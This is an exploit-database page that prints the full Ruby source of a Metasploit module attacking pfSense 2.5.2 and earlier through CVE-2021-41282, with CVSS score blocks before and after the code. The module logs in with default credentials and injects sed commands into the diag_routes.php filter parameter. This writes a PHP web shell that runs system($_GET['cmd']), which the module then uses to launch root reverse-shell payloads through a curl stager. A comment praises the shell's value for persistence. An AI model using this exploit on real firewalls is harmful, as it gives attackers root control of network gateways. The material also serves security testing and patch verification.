Lucene search

K
zdtMetasploit1337DAY-ID-37444
HistoryMar 04, 2022 - 12:00 a.m.

pfSense 2.5.2 Shell Upload Exploit

2022-03-0400:00:00
metasploit
0day.today
335

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

This Metasploit module exploits an arbitrary file creation vulnerability in the pfSense HTTP interface (CVE-2021-41282). The vulnerability affects versions 2.5.2 and below and can be exploited by an authenticated user if they have the “WebCfg - Diagnostics: Routing tables” privilege. This module uses the vulnerability to create a web shell and execute payloads with root privileges.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'pfSense Diag Routes Web Shell Upload',
        'Description' => %q{
          This module exploits an arbitrary file creation vulnerability in the pfSense
          HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.2
          and can be exploited by an authenticated user if they have the
          "WebCfg - Diagnostics: Routing tables" privilege.

          This module uses the vulnerability to create a web shell and execute payloads
          with root privileges.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Abdel Adim "smaury" Oisfi of Shielder', # vulnerability discovery
          'jbaines-r7' # metasploit module
        ],
        'References' => [
          ['CVE', '2021-41282'],
          ['URL', 'https://www.shielder.it/advisories/pfsense-remote-command-execution/']
        ],
        'DisclosureDate' => '2022-02-23',
        'Platform' => ['unix', 'bsd'],
        'Arch' => [ARCH_CMD, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_openssl'
              },
              'Payload' => {
                'Append' => ' & disown'
              }
            }
          ],
          [
            'BSD Dropper',
            {
              'Platform' => 'bsd',
              'Arch' => [ARCH_X64],
              'Type' => :bsd_dropper,
              'CmdStagerFlavor' => [ 'curl' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'bsd/x64/shell_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options [
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense']),
      OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),
      OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])
    ]

    @webshell_uri = '/'
    @webshell_path = '/usr/local/www/'
  end

  # Authenticate and attempt to exploit the diag_routes.php upload. Unfortunately,
  # pfsense permissions can be so locked down that we have to try direct exploitation
  # in order to determine vulnerability. A user can even be restricted from the
  # dashboard (where other pfsense modules extract the version).
  def check
    # Grab a CSRF token so that we can log in
    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php'))
    return CheckCode::Unknown("Didn't receive a response from the target.") unless res
    return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 200
    return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('<title>pfSense - Login')

    /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
    return CheckCode::Unknown('Could not find CSRF token') unless csrf

    # send the log in attempt
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'method' => 'POST',
      'vars_post' => {
        '__csrf_magic' => csrf,
        'usernamefld' => datastore['USERNAME'],
        'passwordfld' => datastore['PASSWORD'],
        'login' => ''
      }
    )

    return CheckCode::Detected('No response to log in attempt.') unless res
    return CheckCode::Detected('Log in failed. User provided invalid credentials.') unless res.code == 302

    # save the auth cookie for later user
    @auth_cookies = res.get_cookies

    # attempt the exploit. Upload a random file to /usr/local/www/ with random contents
    filename = Rex::Text.rand_text_alpha(4..12)
    contents = Rex::Text.rand_text_alpha(16..32)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
      'cookie' => @auth_cookies,
      'encode_params' => false,
      'vars_get' => {
        'isAjax' => '1',
        'filter' => ".*/!d;};s/Destination/#{contents}/;w+#{@webshell_path}#{filename}%0a%23"
      }
    })

    return CheckCode::Safe('No response to upload attempt.') unless res
    return CheckCode::Safe("Exploit attempt did not receive 200 OK: #{res.code}") unless res.code == 200

    # Validate the exploit was successful by requesting the uploaded file
    res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{filename}"), 'cookie' => @auth_cookies })
    return CheckCode::Safe('No response to exploit validation check.') unless res
    return CheckCode::Safe("Exploit validation check did not receive 200 OK: #{res.code}") unless res.code == 200

    register_file_for_cleanup("#{@webshell_path}#{filename}")
    CheckCode::Vulnerable()
  end

  # Using the path traversal, upload a php webshell to the remote target
  def drop_webshell
    webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")
    print_status("Uploading webshell to #{webshell_location}")

    # php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'
    php_shell = '\\x3c\\x3fphp+if($_GET[\\x22cmd\\x22])+\\x7b+system($_GET[\\x22cmd\\x22])\\x3b+\\x7d+\\x3f\\x3e'

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
      'cookie' => @auth_cookies,
      'encode_params' => false,
      'vars_get' => {
        'isAjax' => '1',
        'filter' => ".*/!d;};s/Destination/#{php_shell}/;w+#{@webshell_path}#{@webshell_name}%0a%23"
      }
    })

    fail_with(Failure::Disconnected, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200

    # Test the web shell installed by echoing a random string and ensure it appears in the res.body
    print_status('Testing if web shell installation was successful')
    rand_data = Rex::Text.rand_text_alphanumeric(16..32)
    res = execute_via_webshell("echo #{rand_data}")
    fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)
    print_good("Web shell installed at #{webshell_location}")

    # This is a great place to leave a web shell for persistence since it doesn't require auth
    # to touch it. By default, we'll clean this up but the attacker has to option to leave it
    if datastore['DELETE_WEBSHELL']
      register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")
    end
  end

  # Executes commands via the uploaded webshell
  def execute_via_webshell(cmd)
    if target['Type'] == :bsd_dropper
      # the bsd dropper using the reverse shell payload + curl cmdstager doesn't have a good
      # way to force the payload to background itself (and thus allow the HTTP response to
      # to return). So we hack it in ourselves. This identifies the ending file cleanup
      # which should be right after executing the payload.
      cmd = cmd.sub(';rm -f /tmp/', ' & disown;rm -f /tmp/')
    end

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}"),
      'vars_get' => {
        'cmd' => cmd
      }
    })

    fail_with(Failure::Disconnected, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
    res
  end

  def execute_command(cmd, _opts = {})
    execute_via_webshell(cmd)
  end

  def exploit
    # create a randomish web shell name if the user doesn't specify one
    @webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"

    drop_webshell

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :bsd_dropper
      execute_cmdstager
    end
  end
end

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C